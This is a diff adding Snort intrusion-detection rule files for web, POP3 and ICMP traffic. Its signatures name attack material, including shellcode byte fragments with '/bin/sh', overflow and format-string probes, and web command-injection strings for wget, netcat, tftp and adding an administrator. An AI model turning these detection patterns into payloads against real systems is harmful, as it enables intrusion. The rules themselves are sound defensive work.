+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"WEB-MISC SSLv2 Client_Hello with pad request"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; byte_test:1,<,128,0; content:"|01|"; depth:1; offset:3; content:"|00 02|"; depth:2; offset:6; flowbits:set,sslv2.client_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:2659; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC sresult.exe access"; flow:to_server,established; uricontent:"/sresult.exe"; nocase; reference:bugtraq,10837; reference:nessus,14186; classtype:web-application-activity; sid:2672; rev:1;)
+alert tcp $HTTP_SERVERS 443 -> $EXTERNAL_NET any (msg:"WEB-MISC SSLv2 Server_Hello request"; flow:from_server,established; flowbits:isset,sslv2.client_hello.request; content:"|04|"; depth:1; offset:2; content:"|00 02|"; depth:2; offset:5; flowbits:set,sslv2.server_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:2660; rev:4;)
+alert tcp $HTTP_SERVERS 443 -> $EXTERNAL_NET any (msg:"WEB-MISC TLSv1 Server_Hello request"; flow:to_client,established; flowbits:isset,tlsv1.client_hello.request; content:"|16 03 01|"; depth:3; content:"|02|"; depth:1; offset:5; flowbits:set,tlsv1.server_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:2662; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Oracle iSQLPlus username overflow attempt"; flow:to_server,established; uricontent:"/isqlplus"; nocase; pcre:"/username=[^&\x3b\r\n]{255}/si"; reference:bugtraq,10871; reference:url,www.nextgenss.com/advisories/ora-isqlplus.txt; classtype:web-application-attack; sid:2702; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Oracle iSQLPlus login.uix username overflow attempt"; flow:to_server,established; uricontent:"/login.uix"; nocase; pcre:"/username=[^&\x3b\r\n]{250}/smi"; reference:bugtraq,10871; reference:url,www.nextgenss.com/advisories/ora-isqlplus.txt; classtype:web-application-attack; sid:2703; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Oracle 10g iSQLPlus login.unix connectID overflow attempt"; flow:to_server,established; uricontent:"/login.uix"; nocase; pcre:"/connectID=[^&\x3b\r\n]{255}/smi"; reference:bugtraq,10871; reference:url,www.nextgenss.com/advisories/ora-isqlplus.txt; classtype:web-application-attack; sid:2704; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Oracle iSQLPlus sid overflow attempt"; flow:to_server,established; uricontent:"/isqlplus"; nocase; pcre:"/sid=[^&\x3b\r\n]{255}/si"; reference:bugtraq,10871; reference:url,www.nextgenss.com/advisories/ora-isqlplus.txt; classtype:web-application-attack; sid:2701; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC .htgroup access"; flow:to_server,established; uricontent:".htgroup"; nocase; classtype:web-application-activity; sid:1374; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"WEB-MISC TLS1 Client_Hello with pad via SSLv2 handshake request"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tls1.client_hello.request; byte_test:1,<,128,0; content:"|01|"; depth:1; offset:3; content:"|03 01|"; depth:2; offset:4; flowbits:set,tls1.client_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:3060; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"WEB-MISC TLSv1 Client_Hello via SSLv2 handshake request"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; byte_test:1,>,127,0; content:"|01|"; depth:1; offset:2; content:"|03 01|"; depth:2; offset:3; flowbits:set,tlsv1.client_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:3059; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC 3Com 3CRADSL72 ADSL 11g Wireless Router app_sta.stm access attempt"; flow:to_server,established; uricontent:"/app_sta.stm"; nocase; reference:bugtraq,11408; classtype:web-application-activity; sid:3086; rev:1;)
--- snort-2.8.5.2.orig/rules/pop3.rules
+++ snort-2.8.5.2/rules/pop3.rules
@@ -0,0 +1,58 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: pop3.rules,v 1.22.2.4.2.3 2005/06/29 15:35:04 mwatchinski Exp $
+#--------------
+# POP3 RULES
+#--------------
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 DELE negative argument attempt"; flow:to_server,established; content:"DELE"; nocase; pcre:"/^DELE\s+-\d/smi"; reference:bugtraq,6053; reference:bugtraq,7445; reference:cve,2002-1539; classtype:misc-attack; sid:2121; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 UIDL negative argument attempt"; flow:to_server,established; content:"UIDL"; nocase; pcre:"/^UIDL\s+-\d/smi"; reference:bugtraq,6053; reference:cve,2002-1539; reference:nessus,11570; classtype:misc-attack; sid:2122; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 USER overflow attempt"; flow:to_server,established; content:"USER"; nocase; isdataat:50,relative; pcre:"/^USER\s[^\n]{50,}/smi"; reference:bugtraq,11256; reference:bugtraq,789; reference:cve,1999-0494; reference:nessus,10311; classtype:attempted-admin; sid:1866; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 CAPA overflow attempt"; flow:to_server,established; content:"CAPA"; nocase; isdataat:10,relative; pcre:"/^CAPA\s[^\n]{10}/smi"; classtype:attempted-admin; sid:2108; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 TOP overflow attempt"; flow:to_server,established; content:"TOP"; nocase; isdataat:10,relative; pcre:"/^TOP\s[^\n]{10}/smi"; classtype:attempted-admin; sid:2109; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 STAT overflow attempt"; flow:to_server,established; content:"STAT"; nocase; isdataat:10,relative; pcre:"/^STAT\s[^\n]{10}/smi"; classtype:attempted-admin; sid:2110; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 DELE overflow attempt"; flow:to_server,established; content:"DELE"; nocase; isdataat:10,relative; pcre:"/^DELE\s[^\n]{10}/smi"; classtype:attempted-admin; sid:2111; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 RSET overflow attempt"; flow:to_server,established; content:"RSET"; nocase; isdataat:10,relative; pcre:"/^RSET\s[^\n]{10}/smi"; classtype:attempted-admin; sid:2112; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 AUTH overflow attempt"; flow:to_server,established; content:"AUTH"; nocase; isdataat:50,relative; pcre:"/^AUTH\s[^\n]{50}/smi"; reference:bugtraq,830; reference:cve,1999-0822; reference:nessus,10184; classtype:attempted-admin; sid:1936; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 LIST overflow attempt"; flow:to_server,established; content:"LIST"; nocase; isdataat:10,relative; pcre:"/^LIST\s[^\n]{10}/smi"; reference:bugtraq,948; reference:cve,2000-0096; reference:nessus,10197; classtype:attempted-admin; sid:1937; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 XTND overflow attempt"; flow:to_server,established; content:"XTND"; nocase; isdataat:50,relative; pcre:"/^XTND\s[^\n]{50}/smi"; classtype:attempted-admin; sid:1938; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 PASS overflow attempt"; flow:to_server,established; content:"PASS"; nocase; isdataat:50,relative; pcre:"/^PASS\s[^\n]{50}/smi"; reference:bugtraq,791; reference:cve,1999-1511; reference:nessus,10325; classtype:attempted-admin; sid:1634; rev:13;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 APOP overflow attempt"; flow:to_server,established; content:"APOP"; nocase; isdataat:256,relative; pcre:"/^APOP\s[^\n]{256}/smi"; reference:bugtraq,1652; reference:cve,2000-0840; reference:cve,2000-0841; reference:nessus,10559; classtype:attempted-admin; sid:1635; rev:13;)
+
+# bsd-qpopper.c
+# overflow in the reading of a line in qpopper
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 EXPLOIT x86 BSD overflow"; flow:to_server,established; content:"^|0E|1|C0 B0 3B 8D|~|0E 89 FA 89 F9|"; reference:bugtraq,133; reference:cve,1999-0006; reference:nessus,10196; classtype:attempted-admin; sid:286; rev:11;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 EXPLOIT x86 BSD overflow"; flow:to_server,established; content:"h]^|FF D5 FF D4 FF F5 8B F5 90|f1"; classtype:attempted-admin; sid:287; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 EXPLOIT x86 Linux overflow"; flow:to_server,established; content:"|D8|@|CD 80 E8 D9 FF FF FF|/bin/sh"; classtype:attempted-admin; sid:288; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 EXPLOIT x86 SCO overflow"; flow:to_server,established; content:"V|0E|1|C0 B0 3B 8D|~|12 89 F9 89 F9|"; reference:bugtraq,156; reference:cve,1999-0006; classtype:attempted-admin; sid:289; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 EXPLOIT qpopper overflow"; flow:to_server,established; content:"|E8 D9 FF FF FF|/bin/sh"; reference:bugtraq,830; reference:cve,1999-0822; reference:nessus,10184; classtype:attempted-admin; sid:290; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 USER format string attempt"; flow:to_server,established; content:"USER"; nocase; pcre:"/^USER\s+[^\n]*?%/smi"; reference:bugtraq,10976; reference:bugtraq,7667; reference:cve,2003-0391; reference:nessus,11742; classtype:attempted-admin; sid:2250; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 login brute force attempt"; flow:to_server,established; content:"USER"; nocase; threshold:type threshold, track by_dst, count 30, seconds 30; classtype:suspicious-login; sid:2274; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 APOP USER overflow attempt"; flow:to_server,established; content:"APOP"; nocase; isdataat:256,relative; pcre:"/^APOP\s+USER\s[^\n]{256}/smi"; reference:bugtraq,9794; classtype:attempted-admin; sid:2409; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 995 (msg:"POP3 SSLv3 invalid timestamp attempt"; flow:to_server,established; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; byte_test:4,>,2147483647,5,relative; reference:bugtraq,10115; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; sid:2501; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 995 (msg:"POP3 SSLv3 invalid data version attempt"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; content:!"|03|"; depth:1; offset:9; reference:bugtraq,10115; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; sid:2502; rev:10;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 995 (msg:"POP3 PCT Client_Hello overflow attempt"; flow:to_server,established; flowbits:isnotset,sslv2.server_hello.request; flowbits:isnotset,sslv3.server_hello.request; flowbits:isnotset,tlsv1.server_hello.request; content:"|01|"; depth:1; offset:2; byte_test:2,>,0,5; byte_test:2,!,0,7; byte_test:2,!,16,7; byte_test:2,>,20,9; content:"|8F|"; depth:1; offset:11; byte_test:2,>,32768,0,relative; reference:bugtraq,10116; reference:cve,2003-0719; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-admin; sid:2518; rev:13;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 995 (msg:"POP3 SSLv3 Client_Hello request"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; content:"|16 03 00|"; depth:3; content:"|01|"; depth:1; offset:5; flowbits:set,sslv3.client_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:2535; rev:6;)
+alert tcp $HOME_NET 995 -> $EXTERNAL_NET any (msg:"POP3 SSLv3 Server_Hello request"; flow:to_client,established; flowbits:isset,sslv3.client_hello.request; content:"|16 03 00|"; depth:3; content:"|02|"; depth:1; offset:5; flowbits:set,sslv3.server_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:2536; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 995 (msg:"POP3 SSLv3 invalid Client_Hello attempt"; flow:to_server,established; flowbits:isset,sslv3.server_hello.request; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; sid:2537; rev:6;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"POP3 PASS format string attempt"; flow:to_server,established; content:"PASS"; nocase; pcre:"/^PASS\s+[^\n]*?%/smi"; reference:bugtraq,10976; classtype:attempted-admin; sid:2666; rev:1;)
--- snort-2.8.5.2.orig/rules/icmp.rules
+++ snort-2.8.5.2/rules/icmp.rules
@@ -0,0 +1,50 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: icmp.rules,v 1.25.2.1.2.2 2005/05/16 22:17:51 mwatchinski Exp $
+#-----------
+# ICMP RULES
+#-----------
+#
+# Description:
+# These rules are potentially bad ICMP traffic.  They include most of the
+# ICMP scanning tools and other "BAD" ICMP traffic (Such as redirect host)
+#
+# Other ICMP rules are included in icmp-info.rules
+
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP ISS Pinger"; itype:8; content:"ISSPNGRQ"; depth:32; reference:arachnids,158; classtype:attempted-recon; sid:465; rev:3;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP L3retriever Ping"; icode:0; itype:8; content:"ABCDEFGHIJKLMNOPQRSTUVWABCDEFGHI"; depth:32; reference:arachnids,311; classtype:attempted-recon; sid:466; rev:4;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Nemesis v1.1 Echo"; dsize:20; icmp_id:0; icmp_seq:0; itype:8; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|"; reference:arachnids,449; classtype:attempted-recon; sid:467; rev:3;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING NMAP"; dsize:0; itype:8; reference:arachnids,162; classtype:attempted-recon; sid:469; rev:3;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP icmpenum v1.1.1"; dsize:0; icmp_id:666 ; icmp_seq:0; id:666; itype:8; reference:arachnids,450; classtype:attempted-recon; sid:471; rev:3;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP redirect host"; icode:1; itype:5; reference:arachnids,135; reference:cve,1999-0265; classtype:bad-unknown; sid:472; rev:4;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP redirect net"; icode:0; itype:5; reference:arachnids,199; reference:cve,1999-0265; classtype:bad-unknown; sid:473; rev:4;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP superscan echo"; dsize:8; itype:8; content:"|00 00 00 00 00 00 00 00|"; classtype:attempted-recon; sid:474; rev:4;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP traceroute ipopts"; ipopts:rr; itype:0; reference:arachnids,238; classtype:attempted-recon; sid:475; rev:3;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP webtrends scanner"; icode:0; itype:8; content:"|00 00 00 00|EEEEEEEEEEEE"; reference:arachnids,307; classtype:attempted-recon; sid:476; rev:4;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Source Quench"; icode:0; itype:4; classtype:bad-unknown; sid:477; rev:2;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Broadscan Smurf Scanner"; dsize:4; icmp_id:0; icmp_seq:0; itype:8; classtype:attempted-recon; sid:478; rev:3;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING speedera"; itype:8; content:"89|3A 3B|<=>?"; depth:100; classtype:misc-activity; sid:480; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP TJPingPro1.1Build 2 Windows"; itype:8; content:"TJPingPro by Jim"; depth:32; reference:arachnids,167; classtype:misc-activity; sid:481; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING WhatsupGold Windows"; itype:8; content:"WhatsUp - A Netw"; depth:32; reference:arachnids,168; classtype:misc-activity; sid:482; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING CyberKit 2.2 Windows"; itype:8; content:"|AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA|"; depth:32; reference:arachnids,154; classtype:misc-activity; sid:483; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Sniffer Pro/NetXRay network scan"; itype:8; content:"Cinco Network, Inc."; depth:32; classtype:misc-activity; sid:484; rev:4;)
+alert icmp any any -> any any (msg:"ICMP Destination Unreachable Communication Administratively Prohibited"; icode:13; itype:3; classtype:misc-activity; sid:485; rev:4;)
+alert icmp any any -> any any (msg:"ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited"; icode:10; itype:3; classtype:misc-activity; sid:486; rev:4;)
+alert icmp any any -> any any (msg:"ICMP Destination Unreachable Communication with Destination Network is Administratively Prohibited"; icode:9; itype:3; classtype:misc-activity; sid:487; rev:4;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP digital island bandwidth query"; content:"mailto|3A|ops@digisle.com"; depth:22; classtype:misc-activity; sid:1813; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Large ICMP Packet"; dsize:>800; reference:arachnids,246; classtype:bad-unknown; sid:499; rev:4;)
--- snort-2.8.5.2.orig/rules/web-attacks.rules
+++ snort-2.8.5.2/rules/web-attacks.rules
@@ -0,0 +1,74 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: web-attacks.rules,v 1.18.2.2.2.1 2005/05/16 22:17:52 mwatchinski Exp $
+# ----------------
+# WEB ATTACKS
+# ----------------
+# These signatures are generic signatures that will catch common commands
+# used to exploit form variable vulnerabilities.  These signatures should
+# not false very often.
+#
+# Please email example PCAP log dumps to snort-sigs@lists.sourceforge.net
+# if you find one of these signatures to be too false possitive.
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS /bin/ps command attempt"; flow:to_server,established; uricontent:"/bin/ps"; nocase; classtype:web-application-attack; sid:1328; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS ps command attempt"; flow:to_server,established; uricontent:"ps%20"; nocase; classtype:web-application-attack; sid:1329; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS wget command attempt"; flow:to_server,established; content:"wget%20"; nocase; classtype:web-application-attack; reference:bugtraq,10361; sid:1330; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS uname -a command attempt"; flow:to_server,established; content:"uname%20-a"; nocase; classtype:web-application-attack; sid:1331; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS /usr/bin/id command attempt"; flow:to_server,established; content:"/usr/bin/id"; nocase; classtype:web-application-attack; sid:1332; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS id command attempt"; flow:to_server,established; content:"|3B|id"; nocase; classtype:web-application-attack; sid:1333; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS echo command attempt"; flow:to_server,established; content:"/bin/echo"; nocase; classtype:web-application-attack; sid:1334; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS kill command attempt"; flow:to_server,established; content:"/bin/kill"; nocase; classtype:web-application-attack; sid:1335; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS chmod command attempt"; flow:to_server,established; content:"/bin/chmod"; nocase; classtype:web-application-attack; sid:1336; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS chgrp command attempt"; flow:to_server,established; content:"/chgrp"; nocase; classtype:web-application-attack; sid:1337; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS chown command attempt"; flow:to_server,established; content:"/chown"; nocase; classtype:web-application-attack; sid:1338; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS chsh command attempt"; flow:to_server,established; content:"/usr/bin/chsh"; nocase; classtype:web-application-attack; sid:1339; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS tftp command attempt"; flow:to_server,established; content:"tftp%20"; nocase; classtype:web-application-attack; sid:1340; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS /usr/bin/gcc command attempt"; flow:to_server,established; content:"/usr/bin/gcc"; nocase; classtype:web-application-attack; sid:1341; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS gcc command attempt"; flow:to_server,established; content:"gcc%20-o"; nocase; classtype:web-application-attack; sid:1342; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS /usr/bin/cc command attempt"; flow:to_server,established; content:"/usr/bin/cc"; nocase; classtype:web-application-attack; sid:1343; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS cc command attempt"; flow:to_server,established; content:"cc%20"; nocase; classtype:web-application-attack; sid:1344; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS /usr/bin/cpp command attempt"; flow:to_server,established; content:"/usr/bin/cpp"; nocase; classtype:web-application-attack; sid:1345; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS cpp command attempt"; flow:to_server,established; content:"cpp%20"; nocase; classtype:web-application-attack; sid:1346; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS /usr/bin/g++ command attempt"; flow:to_server,established; content:"/usr/bin/g++"; nocase; classtype:web-application-attack; sid:1347; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS g++ command attempt"; flow:to_server,established; content:"g++%20"; nocase; classtype:web-application-attack; sid:1348; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS bin/python access attempt"; flow:to_server,established; content:"bin/python"; nocase; classtype:web-application-attack; sid:1349; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS python access attempt"; flow:to_server,established; content:"python%20"; nocase; classtype:web-application-attack; sid:1350; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS bin/tclsh execution attempt"; flow:to_server,established; content:"bin/tclsh"; nocase; classtype:web-application-attack; sid:1351; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS tclsh execution attempt"; flow:to_server,established; content:"tclsh8%20"; nocase; classtype:web-application-attack; sid:1352; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS bin/nasm command attempt"; flow:to_server,established; content:"bin/nasm"; nocase; classtype:web-application-attack; sid:1353; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS nasm command attempt"; flow:to_server,established; content:"nasm%20"; nocase; classtype:web-application-attack; sid:1354; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS /usr/bin/perl execution attempt"; flow:to_server,established; content:"/usr/bin/perl"; nocase; classtype:web-application-attack; sid:1355; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS perl execution attempt"; flow:to_server,established; content:"perl%20"; nocase; classtype:web-application-attack; sid:1356; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS nt admin addition attempt"; flow:to_server,established; content:"net localgroup administrators /add"; nocase; classtype:web-application-attack; sid:1357; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS traceroute command attempt"; flow:to_server,established; content:"traceroute%20"; nocase; classtype:web-application-attack; sid:1358; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS ping command attempt"; flow:to_server,established; content:"/bin/ping"; nocase; classtype:web-application-attack; sid:1359; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS netcat command attempt"; flow:to_server,established; content:"nc%20"; nocase; classtype:web-application-attack; sid:1360; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS nmap command attempt"; flow:to_server,established; content:"nmap%20"; nocase; classtype:web-application-attack; sid:1361; rev:5;)
